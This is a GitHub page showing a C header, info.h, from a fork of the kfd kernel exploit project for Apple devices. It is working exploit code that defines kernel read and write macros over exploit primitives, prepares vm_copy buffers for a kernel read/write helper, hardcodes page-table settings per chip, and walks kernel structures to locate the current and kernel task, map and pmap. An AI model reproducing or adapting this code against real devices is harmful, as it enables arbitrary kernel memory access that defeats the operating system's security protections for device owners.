forked from felix-pb/kfd
-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathinfo.h
189 lines (158 loc) · 7.99 KB
/
info.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
/*
* Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
*/
#ifndef info_h
#define info_h
#include "info/dynamic_info.h"
#include "info/static_info.h"
/*
* Note that these macros assume that the kfd pointer is in scope.
*/
#define dynamic_info(field_name) (kern_versions[kfd->info.env.vid].field_name)
#define dynamic_kget(field_name, object_kaddr) \
({ \
u64 tmp_buffer = 0; \
u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
tmp_buffer; \
})
#define dynamic_kset(field_name, new_value, object_kaddr) \
do { \
u64 tmp_buffer = new_value; \
u64 field_kaddr = (u64)(object_kaddr) + dynamic_info(field_name); \
kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
} while (0)
#define static_kget(object_name, field_name, object_kaddr) \
({ \
u64 tmp_buffer = 0; \
u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \
tmp_buffer; \
})
#define static_kset(object_name, field_name, new_value, object_kaddr) \
do { \
u64 tmp_buffer = new_value; \
u64 field_kaddr = (u64)(object_kaddr) + offsetof(object_name, field_name); \
kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \
} while (0)
const char info_copy_sentinel[] = "p0up0u was here";
const u64 info_copy_sentinel_size = sizeof(info_copy_sentinel);
void info_init(struct kfd* kfd)
{
/*
* Initialize the kfd->info.copy substructure.
*
* Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions:
* - The size of the copy must be strictly greater than msg_ool_size_small.
* - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE.
* - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC.
*/
kfd->info.copy.size = pages(4);
assert(kfd->info.copy.size > msg_ool_size_small);
assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE));
assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE));
for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) {
bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size);
bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size);
}
/*
* Initialize the kfd->info.env substructure.
*/
kfd->info.env.pid = getpid();
print_i32(kfd->info.env.pid);
thread_identifier_info_data_t data = {};
thread_info_t info = (thread_info_t)(&data);
mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT;
assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count));
kfd->info.env.tid = data.thread_id;
print_u64(kfd->info.env.tid);
usize size1 = sizeof(kfd->info.env.maxfilesperproc);
assert_bsd(sysctlbyname("kern.maxfilesperproc", &kfd->info.env.maxfilesperproc, &size1, NULL, 0));
print_u64(kfd->info.env.maxfilesperproc);
struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc };
assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim));
char kern_version[512] = {};
usize size2 = sizeof(kern_version);
assert_bsd(sysctlbyname("kern.version", &kern_version, &size2, NULL, 0));
print_string(kern_version);
kfd->info.env.vid = 0;
//set offset from static patchfinder
// kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw;
// kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase;
// kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize;
// kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase;
// kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open;
// kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices;
// kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table;
// kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter;
// kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size;
//T8120(A16), T8103(M1), T8112(M2): t1sz_boot = 17;
//others: t1sz_boot = 25;
//Source: https://www.reddit.com/r/jailbreak/comments/15b9l7n/comment/jtssz14/?utm_source=share&utm_medium=web2x&context=3
if(strstr(get_kernversion(), "T8120") != NULL || strstr(get_kernversion(), "T8103") != NULL || strstr(get_kernversion(), "T8112") != NULL)
t1sz_boot = 17;
else
t1sz_boot = 25;
arm64_link_addr = get_vm_kernel_link_addr();
print_u64(kfd->info.env.vid);
// const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]);
// for (u64 i = 0; i < number_of_kern_versions; i++) {
// const char* current_kern_version = kern_versions[i].kern_version;
// if (!memcmp(kern_version, current_kern_version, strlen(current_kern_version))) {
// kfd->info.env.vid = i;
// print_u64(kfd->info.env.vid);
// return;
// }
// }
// assert_false("unsupported osversion");
}
void info_run(struct kfd* kfd)
{
timer_start();
/*
* current_task()
*/
assert(kfd->info.kaddr.current_proc);
kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + dynamic_info(proc__object_size);
print_x64(kfd->info.kaddr.current_proc);
print_x64(kfd->info.kaddr.current_task);
/*
* current_map()
*/
u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.current_task);
kfd->info.kaddr.current_map = UNSIGN_PTR(signed_map_kaddr);
print_x64(kfd->info.kaddr.current_map);
/*
* current_pmap()
*/
u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.current_map);
kfd->info.kaddr.current_pmap = UNSIGN_PTR(signed_pmap_kaddr);
print_x64(kfd->info.kaddr.current_pmap);
if (kfd->info.kaddr.kernel_proc) {
/*
* kernel_task()
*/
kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + dynamic_info(proc__object_size);
print_x64(kfd->info.kaddr.kernel_proc);
print_x64(kfd->info.kaddr.kernel_task);
/*
* kernel_map()
*/
u64 signed_map_kaddr = dynamic_kget(task__map, kfd->info.kaddr.kernel_task);
kfd->info.kaddr.kernel_map = UNSIGN_PTR(signed_map_kaddr);
print_x64(kfd->info.kaddr.kernel_map);
/*
* kernel_pmap()
*/
u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.kernel_map);
kfd->info.kaddr.kernel_pmap = UNSIGN_PTR(signed_pmap_kaddr);
print_x64(kfd->info.kaddr.kernel_pmap);
}
timer_end();
}
void info_free(struct kfd* kfd)
{
assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size));
assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size));
}
#endif /* info_h */